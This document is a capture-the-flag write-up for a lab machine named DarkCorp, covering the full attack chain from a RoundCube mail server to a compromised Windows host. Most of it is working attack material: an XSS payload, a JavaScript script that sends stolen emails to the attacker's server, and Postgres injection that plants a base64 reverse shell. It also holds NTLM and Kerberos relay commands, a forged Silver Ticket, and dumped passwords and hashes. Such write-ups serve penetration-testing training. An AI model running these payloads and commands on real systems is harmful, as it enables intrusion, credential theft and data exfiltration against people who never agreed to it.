Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The results from nmap are somewhat odd considering the target is detected as Linux and does not have any ports commonly associated with Windows open.
Execution
Trying to access port 80
redirects me to drip.htb
therefore I add this to my /etc/hosts
file and reload the tab. The resulting page is for a convenient e-mail solution called DripMail, powered by RoundCube.
It allows me to create a new account or login to an existing one. The latter is a link to mail.drip.htb
and I add this to my hosts
file as well.
After creating a new user called root
and login into the mail web client, I’m already greeted by multiple mails. Apparently a cronjob is failing to remove the email directories for the users ebelford
and support
.
The main page for DripMail also features a contact form. Supplying the required values and intercepting the resulting request in BurpSuite lets me modify the recipient from support@drip.htb
to root@drip.htb
.
Right after forwarding the request there’s a new mail in my inbox with the text I’ve sent via the contact form but also including a signature exposing another account bcase@drip.htb
where phishing emails should be sent.
The about page in the RoundCube client reports version 1.6.7
and a quick search for any known vulnerabilities uncovers a blog post about CVE-2024-42008
and 42009
, a XSS vulnerability that allows an attacker to steal emails and contacts.
First I craft a payload based on the example in the blog post that loads xss.js
from my web server but trying to send it via the web client does not have the desired effect.
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.10.10/xss.js'})) foo=bar">
Foo
</body>
In the request via the contact form there was a parameter called content
set to text
. Sending the same payload via the contact form while setting this parameter to html
generates a hit as soon as I view the mail in the browser.
Now I build a small Javascript script that crawls all emails and sends them off to my web server. It’s based on the network traffic observed while interacting with the web client.
let LHOST = '10.10.10.10';
async function getMessageCount() {
return fetch('/?_task=mail&_action=list&_mbox=INBOX&_remote=1')
.then(res => {
if (!res.ok) throw new Error('Failed to fetch URL');
return res.json();
})
.then(data => parseInt(data.env.messagecount));
}
async function getMessage(id) {
return fetch(`/?_task=mail&_uid=${id}&_mbox=INBOX&_framed=1&_action=viewsource`)
.then(res => {
if (!res.ok) throw new Error('Failed to fetch URL');
return res.text();
});
}
async function exfil(id=0, data) {
let payload = btoa(data);
return fetch(`http://${LHOST}/exfil?id=${id}&data=${payload}`)
.then(res => {
if (!res.ok) throw new Error('Failed to fetch URL');
return res.text();
});
}
async function run() {
let n = await getMessageCount();
for (let i = 1; i <= n; i++){
exfil(i, await getMessage(i));
}
}
run();
Lastly I send the payload to bcase@drip.htb
and shortly after I get 3 hits on my web server, the welcome mail, the one I sent and another message from ebelford
about a analytics dashboard at dev-a3f1-01.drip.htb
and the reminder to reset the password for access.
Return-Path: <ebelford@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
by drip with LMTP
id FvvNKLMba2eECAAAEnDqAQ
(envelope-from <ebelford@drip.htb>)
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
Received: from drip (localhost [127.0.0.1])
by drip.htb (Postfix) with ESMTP id 9701FC3199
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700 (MST)
Received: from mail.drip.htb ([127.0.0.1])
by drip with ESMTPA
id unSjI7Mba2d9CAAAEnDqAQ
(envelope-from <ebelford@drip.htb>)
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
MIME-Version: 1.0
Date: Tue, 24 Dec 2024 13:38:11 -0700
From: ebelford <ebelford@drip.htb>
To: bcase@drip.htb
Subject: Analytics Dashboard
Message-ID: <dcef4e6be5d93220499ad6dabecfb0ed@drip.htb>
X-Sender: ebelford@drip.htb
Content-Type: text/plain; charset=US-ASCII;
format=flowed
Content-Transfer-Encoding: 7bit
Hey Bryce,
The Analytics dashboard is now live. While it's still in development and
limited in functionality, it should provide a good starting point for
gathering metadata on the users currently using our service.
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that
you'll need to reset your password before logging in.
If you encounter any issues or have feedback, let me know so I can
address them promptly.
Thanks
After adding the new domain to my hosts
file I can check it out in the browser and I’m greeted with a login prompt.
Then I just follow the instructions to reset the password for bcase@drip.htb
and send the previous phishing mail again to read the reset mail. Within the exfiltrated messages there’s a link to reset the password for account bcase
.
Return-Path: <no-reply@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
by drip.darkcorp.htb with LMTP
id 4EvwLkcVL2hLxwEA8Y1rLw
(envelope-from <no-reply@drip.htb>)
for <bcase@drip.htb>; Thu, 22 May 2025 06:15:03 -0600
Received: from drip.darkcorp.htb (localhost [127.0.0.1])
by drip.htb (Postfix) with ESMTP id BE68225C5
for <bcase@drip.htb>; Thu, 22 May 2025 06:15:03 -0600 (MDT)
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: Reset token
From: no-reply@drip.htb
To: bcase@drip.htb
Date: Thu, 22 May 2025 06:15:03 -0600
Message-ID: <174791610377.651.7645683911027073625@drip.darkcorp.htb>
Reply-To: support@drip.htb
Your reset token has generated. Please reset your password within the next 5 minutes.
You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.aC8VRw.Ns5Yl5Jvtzn8E1VR8e8qEkWPiKA
Resetting the password for bcase
and using the new credentials to login let me access the dashboard. It offers a search bar but searching anything leads to an error message from the backend Postgres database.
Dumping parts of the database does not lead anywhere so I opt to get remote code execution through the archive command. I’ll start by determining the Postgres version in use and this returns 15
.
'test'; SELECT version();
PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
Then I load the configuration /etc/postgresql/15/main/postgresql.conf
file into a new large and this returns the object ID 116604
, but does not print the contents.
'test'; SELECT lo_import('/etc/postgresql/15/main/postgresql.conf')
116604
Next I select the data contained in the object and this displays the whole configuration file in first column of the table.
'test'; SELECT encode(lo_get(116604), 'escape')
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
#
--- SNIP ---
Glancing over the enabled options, I’m lucky and the archive_mode
is already set to on
otherwise I could not proceed with this approach. I then set the archive_command
to a base64 encoded reverse shell.
# - Archiving -
archive_mode = on # enables archiving; off, on, or always
# (change requires restart)
#archive_library = '' # library to use to archive a logfile segment
# (empty string indicates archive_command should
# be used)
archive_command = 'echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0NCAwPiYx" | base64 --decode | bash'
# e.g. 'test ! -f /mnt/server/archivedir/%f && cp %p /mnt/server/archivedir/%f'
#archive_timeout = 0 # force a logfile segment switch after this
# number of seconds; 0 disables
Since I want to update the configuration on the target and posting the whole file ends up in a 502 error, I decide to remove all comments and only focus on the parameters currently in use.
data_directory = '/var/lib/postgresql/15/main'
hba_file = '/etc/postgresql/15/main/pg_hba.conf'
ident_file = '/etc/postgresql/15/main/pg_ident.conf'
external_pid_file = '/var/run/postgresql/15-main.pid'
port = 5432
max_connections = 100
unix_socket_directories = '/var/run/postgresql'
ssl = off
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
shared_buffers = 128MB
dynamic_shared_memory_type = posix
max_wal_size = 1GB
min_wal_size = 80MB
archive_mode = on
archive_command = 'echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0NCAwPiYx" | base64 --decode | bash'
log_line_prefix = '%m [%p] %q%u@%d '
log_timezone = 'US/Mountain'
cluster_name = '15/main'
datestyle = 'iso, mdy'
timezone = 'US/Mountain'
lc_messages = 'en_US.UTF-8'
lc_monetary = 'en_US.UTF-8'
lc_numeric = 'en_US.UTF-8'
lc_time = 'en_US.UTF-8'
default_text_search_config = 'pg_catalog.english'
include_dir = 'conf.d'
In order to avoid issues with special characters I encode the configuration file in base64 and then use lo_from_bytea
to load the decoded configuration into another large object with id 12345
.
'test';SELECT lo_from_bytea(12345, decode('ZGF0YV9kaXJlY3RvcnkgPSAnL3Zhci9saWIvcG9zdGdyZXNxbC8xNS9tYWluJyAgICAgICAgICAKaGJhX2ZpbGUgPSAnL2V0Yy9wb3N0Z3Jlc3FsLzE1L21haW4vcGdfaGJhLmNvbmYnICAgICAgICAKaWRlbnRfZmlsZSA9ICcvZXRjL3Bvc3RncmVzcWwvMTUvbWFpbi9wZ19pZGVudC5jb25mJyAgICAKZXh0ZXJuYWxfcGlkX2ZpbGUgPSAnL3Zhci9ydW4vcG9zdGdyZXNxbC8xNS1tYWluLnBpZCcgICAgICAgICAgICAgICAgICAgCnBvcnQgPSA1NDMyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKbWF4X2Nvbm5lY3Rpb25zID0gMTAwICAgICAgICAgICAgICAgICAgIAp1bml4X3NvY2tldF9kaXJlY3RvcmllcyA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsJyAKc3NsID0gb2ZmCnNzbF9jZXJ0X2ZpbGUgPSAnL2V0Yy9zc2wvY2VydHMvc3NsLWNlcnQtc25ha2VvaWwucGVtJwpzc2xfa2V5X2ZpbGUgPSAnL2V0Yy9zc2wvcHJpdmF0ZS9zc2wtY2VydC1zbmFrZW9pbC5rZXknCnNoYXJlZF9idWZmZXJzID0gMTI4TUIgICAgICAgICAgICAgICAgICAKZHluYW1pY19zaGFyZWRfbWVtb3J5X3R5cGUgPSBwb3NpeCAgICAgIAptYXhfd2FsX3NpemUgPSAxR0IKbWluX3dhbF9zaXplID0gODBNQgphcmNoaXZlX21vZGUgPSBvbiAgICAgICAgICAgICAKYXJjaGl2ZV9jb21tYW5kID0gJ2VjaG8gImMyZ2dMV2tnUGlZZ0wyUmxkaTkwWTNBdk1UQXVNVEF1TVRBdU1UQXZORFEwTkNBd1BpWXgiIHwgYmFzZTY0IC0tZGVjb2RlIHwgYmFzaCcKbG9nX2xpbmVfcHJlZml4ID0gJyVtIFslcF0gJXEldUAlZCAnICAgICAgICAgICAgCmxvZ190aW1lem9uZSA9ICdVUy9Nb3VudGFpbicKY2x1c3Rlcl9uYW1lID0gJzE1L21haW4nICAgICAgICAgICAgICAgICAgICAgICAgCmRhdGVzdHlsZSA9ICdpc28sIG1keScKdGltZXpvbmUgPSAnVVMvTW91bnRhaW4nCmxjX21lc3NhZ2VzID0gJ2VuX1VTLlVURi04JyAgICAgICAgICAgICAgICAgICAgIApsY19tb25ldGFyeSA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAKbGNfbnVtZXJpYyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAgCmxjX3RpbWUgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgICAgIApkZWZhdWx0X3RleHRfc2VhcmNoX2NvbmZpZyA9ICdwZ19jYXRhbG9nLmVuZ2xpc2gnCmluY2x1ZGVfZGlyID0gJ2NvbmYuZCc=', 'base64'));
12345
Then I write the contents of the object back into the configuration file on disk and issue a reload of the config with pg_reload_conf()
.
'test'; SELECT lo_export(12345, '/etc/postgresql/15/main/postgresql.conf')
1
'test';SELECT pg_reload_conf();
True
At last I setup my listener to catch the reverse shell that I trigger with *pg_switch_wal()
.*
'test';SELECT pg_switch_wal();
... hangs ...
Privilege Escalation
Shell as ebelford
Dropped into a shell as postgres
and checking out the source code of the web application in /var/www/html/dashboard
reveals an .env
file with credentials for the database user.
# True for development, False for production
DEBUG=False
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
But even though I can list the currently configured users in the database, none of the password hashes crack. I proceed to run linpeas to check for misconfigurations. The script reports a PGP key and an encrypted SQL file.
$ curl http://10.10.10.10/linpeas.sh | bash | tee -a /dev/shm/output.txt
--- SNIP ---
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg
/var/lib/postgresql/.gnupg/pubring.kbx
--------------------------------------
pub rsa3072 2025-01-08 [SC] [expires: 2027-01-08]
3AA1F620319ABF74EF5179C0F426B2D867825D9F
uid [ultimate] postgres <postgres@drip.darkcorp.htb>
sub rsa3072 2025-01-08 [E] [expires: 2027-01-08]
netpgpkeys Not Found
netpgp Not Found
-rw-r--r-- 1 root root 3902 Mar 26 2023 /usr/share/gnupg/distsigkey.gpg
-rw-r--r-- 1 root root 8700 Jul 30 2023 /usr/share/keyrings/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jul 30 2023 /usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg
-rw-r--r-- 1 root root 280 Jul 30 2023 /usr/share/keyrings/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Jul 30 2023 /usr/share/keyrings/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Jul 30 2023 /usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg
-rw-r--r-- 1 root root 2453 Jul 30 2023 /usr/share/keyrings/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Jul 30 2023 /usr/share/keyrings/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Jul 30 2023 /usr/share/keyrings/debian-archive-buster-security-automatic.gpg
-rw-r--r-- 1 root root 2332 Jul 30 2023 /usr/share/keyrings/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 56156 Jul 30 2023 /usr/share/keyrings/debian-archive-keyring.gpg
-rw-r--r-- 1 root root 54031 Jul 30 2023 /usr/share/keyrings/debian-archive-removed-keys.gpg
-rw-r--r-- 1 root root 3494 Nov 16 2022 /usr/share/postgresql-common/pgdg/apt.postgresql.org.gpg
-rw-r--r-- 1 postgres postgres 1784 Feb 5 12:52 /var/backups/postgres/dev-dripmail.old.sql.gpg
-rw------- 1 postgres postgres 1280 Jan 8 15:02 /var/lib/postgresql/.gnupg/trustdb.gpg
drwx------ 4 postgres postgres 4096 May 22 07:50 /var/lib/postgresql/.gnupg
The decryption asks for a password and using 2Qa2SsBkQvsc
from the .env
file is working.
$ gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /dev/shm/dev-dripmail.old.sql
gpg: encrypted with 3072-bit RSA key, ID 1112336661D8BC1F, created 2025-01-08
"postgres <postgres@drip.darkcorp.htb>"
Within the decrypted file there are several more hashes that do not match the ones in the database. Not too surprising considering that’s an old backup.
--- SNIP ---
--
-- Data for Name: Admins; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
\.
--
-- Data for Name: Users; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001 support d9b9ecbf29db8054b21f303072b37c4e support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5002 bcase 1eace53df87b9a15a37fdc11da2d298d bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5003 ebelford 0cebd84e066fd988e89083879e88c5f9 ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
\.
--- SNIP ---
Cracking the MD5 hashes with hashcat returns the passwords for ebelford
, victor.r
and support
.
ebelford:8bbd7f88841b4223ae63c8848969be86:ThePlague61780
victor.r:cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
support:cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
The only user configured in /etc/passwd
is ebelford
and I can use the password ThePlague61780
to login via SSH.
Shell as Administrator (WEB-01)
Through SSH I open a SOCKS proxy (-D 1080
) to access the 172.16.20.0/24
subnet from my machine. Then I use nxc to scan the IP range to find DC-01
on 172.16.20.1
and WEB-01
on 172.16.20.2
. I add those entries to my hosts
file.
$ proxychains -q nxc smb 172.16.20.0/24
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.2 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Uploading a statically compiled nmap binary I can check for all open ports on those two hosts. Even though there’s a web server running on the Domain Controller it just redirects to drip.htb
. The web server on WEB-01
just displays the default IIS page but there’s also port 5000
.
$ ./nmap -p- 172.16.20.1-2
--- SNIP ---
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0017s latency).
Not shown: 65506 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
2179/tcp open unknown
3268/tcp open unknown
3269/tcp open unknown
5985/tcp open unknown
9389/tcp open unknown
--- SNIP ---
Nmap scan report for 172.16.20.2
Host is up (0.0027s latency).
Not shown: 65520 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5000/tcp open unknown
5985/tcp open unknown
--- SNIP ---
As soon as I try to access http://web-01.darkcorp.htb:5000
it prompts me for credentials and trying the ones I already collected let me login with victor.r:victor1gustavo@#
. The browser network tab reveals that the authentication uses NTLM.
The dashboard is for an internal status monitor reporting different services as operational or broken. Export Logs downloads a CSV file with the collected data but does not expose any parameter and Graphs just display the same data.
Check Status on the other hand offers a form to send a requests to a fixed list of hosts via HTTP or HTTPS while also specifying one of three ports. Now this check might only be implemented on the client side and I’ll try to send the data via curl.
proxychains -q curl 'http://web-01.darkcorp.htb:5000/status' \
--json '{"protocol":"http","host":"10.10.10.10","port":"80"}' \
-u 'victor.r:victor1gustavo@#' \
--ntlm
Using a protocol other than HTTP(s) or an IP as host fails with an error message complaining about invalid input. I’ll try to setup a listener on drip.darkcorp.htb
with python3 -m http.server 9999
.
proxychains -q curl 'http://web-01.darkcorp.htb:5000/status' \
--json '{"protocol":"http","host":"drip.darkcorp.htb","port":"9999"}' \
-u 'victor.r:victor1gustavo@#' \
--ntlm
{"message":"http://drip.darkcorp.htb:9999 is up!","status":"Success!"}
The status check could also use NTLM authentication therefore I plan to setup ntlmrelayx to capture potential hashes. In order for the monitor to reach my machine I tear down the SOCKS proxy through SSH and upload chisel. Locally I do run chisel in server mode and then on drip
I run the binary to connect back while opening a SOCKS proxy and forward the port 8888
to my local port 80
.
# Local
./chisel_linux_amd64 server --port 1337 --reverse
# drip.darkcorp.htb
./chisel_linux_amd64 client 10.10.10.10:1337 R:socks 8888:10.10.10.10:80
With the port forwarding up, I run ntlmrelayx with the SOCKS proxy to reach the Domain Controller and instruct it to save all captured hashes to an output file. Pointing the curl command to port 8888
instead, generates a connection on the relay as DARKCORP/SVC_ACC
. Even though the NetNTLMv2 hash was captured, it does not crack.
$ proxychains -q impacket-ntlmrelayx -t smb://172.16.20.1 \
-smb2support
--output-file hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
--- SNIP ---
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.10.10 controlled, attacking target smb://172.16.20.1
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against smb://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
bloodhound-ce-python is my go-to tool to collect the data for BloodHound but this time it needs a bit of help to connect to the Domain Controller because the DNS service on the DC returns the public IP instead of the private one. To fix this I add dnat <PUBLIC IP> 172.16.20.1
to /etc/proxychains4.conf
and proxychains will just NAT the connection correctly.
$ proxychains -q bloodhound-ce-python -d darkcorp.htb \
-dc dc-01.darkcorp.htb \
-u 'victor.r' \
-p 'victor1gustavo@#' \
-c ALL \
--zip \
-ns 172.16.20.1 \
--dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: darkcorp.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc-01.darkcorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc-01.darkcorp.htb
INFO: Found 13 users
INFO: Found 54 groups
INFO: Found 3 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WEB-01.darkcorp.htb
INFO: Querying computer: drip.darkcorp.htb
INFO: Querying computer: DC-01.darkcorp.htb
INFO: Done in 00M 05S
INFO: Compressing output into 20250522183915_bloodhound.zip
After loading the ZIP file into BloodHound I can see that SVC_ACC
is part of the DNSADMINS
group and can likely modify DNS entries.
Now I can use the NTLM relay to add a new DNS record to the domain through the interaction with the status monitor. A blog post shows a way to abuse that and use it to relay Kerberos authentication from SMB to the ADCS for generating a new machine certificate.
I spin up ntlmrelayx
once again but this time with extra flags to create the DNS entry dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
pointing towards my own IP to be created via LDAPS
on the Domain Controller. Sending off the previous curl command triggers another connection on my relay and the DNS entry is added successfully.
$ proxychains -q impacket-ntlmrelayx -t ldaps://172.16.20.1 \
-smb2support \
--no-dump \
--no-da \
--no-acl \
--add-dns-record \
dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA \
10.10.10.10
--- SNIP ---
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.10.10 controlled, attacking target ldaps://172.16.20.1
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.10.10` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)
The prerequisite is in place and I tear down the ntlmrelayx
to replace it with krbrelayx. This time I use PetitPotam to coerce the server WEB-01
to authenticate to me via SMB. The connection is relayed to the Active Directory Certificate Service running on the Domain Controller and a new certificate for the machine account is requested.
$ proxychains -q python3 krbrelayx.py -t https://dc-01.darkcorp.htb/certsrv/certfnsh.asp \
--adcs \
-v 'WEB-01$'
--- SNIP ---
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.97.146
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.129.97.146
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 7
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
[*] Certificate successfully written to file
[*] Skipping user WEB-01$ since attack was already performed
$ proxychains -q python3 PetitPotam.py -u 'victor.r' \
-p 'victor1gustavo@#' \
-dc-ip 172.16.20.1 \
'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' \
172.16.20.2
Using the generated PFX file with certipy I authenticate as WEB-01$
and get a TGT as well as the NTLM hash of that account.
$ proxychains -q certipy-ad auth -pfx WEB-01\$.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: web-01$@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
In possession of the NTLM hash for the machine account I can forge a Silver Ticket with impacket-ticketer and impersonate the Administrator
account on that host1. Besides the information I already have it requires the SID of the domain and I can look that up in BloodHound on the domain object itself.
$ impacket-ticketer -domain-sid S-1-5-21-3432610366-2163336488-3604236847 \
-domain DARKCORP.HTB \
-spn HOST/WEB-01.darkcorp.htb \
-nthash 8f33c7fc7ff515c1f358e488fbb8b675 \
-user-id 500 \
Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for DARKCORP.HTB/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Through secretsdump I dump all the local hashes and cached credentials on WEB-01
by authenticating with the Silver Ticket in Administrator.ccache
. The ticket works also for command execution via evil-winrm
or wmiexec
and there I find the first flag.
$ export KRB5CCNAME=Administrator.ccache
$ proxychains -q impacket-secretsdump -k \
-no-pass \
Administrator@web-01.darkcorp.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4cf6d0e998d53752d088e233abb4bed6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb: (2025-05-22 14:43:19)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1004cecdc9b33080d25a4a29126d4590eb555c5f
dpapi_userkey:0x7f3f9f871ea1dafaea01ae4ccf6e3f7ee535e472
[*] NL$KM
0000 DD C9 21 14 B9 23 69 1B D8 BE FD 57 6B 3C 3E E1 ..!..#i....Wk<>.
0010 9D 3D 3F 74 82 AF 75 33 FD 74 61 6E B7 24 55 AF .=?t..u3.tan.$U.
0020 6F 61 A0 BC 2B 2A 86 CF 6E EC E0 D3 37 98 FE E5 oa..+*..n...7...
0030 14 54 7D A9 A6 45 19 37 F1 20 24 4B 18 43 19 72 .T}..E.7. $K.C.r
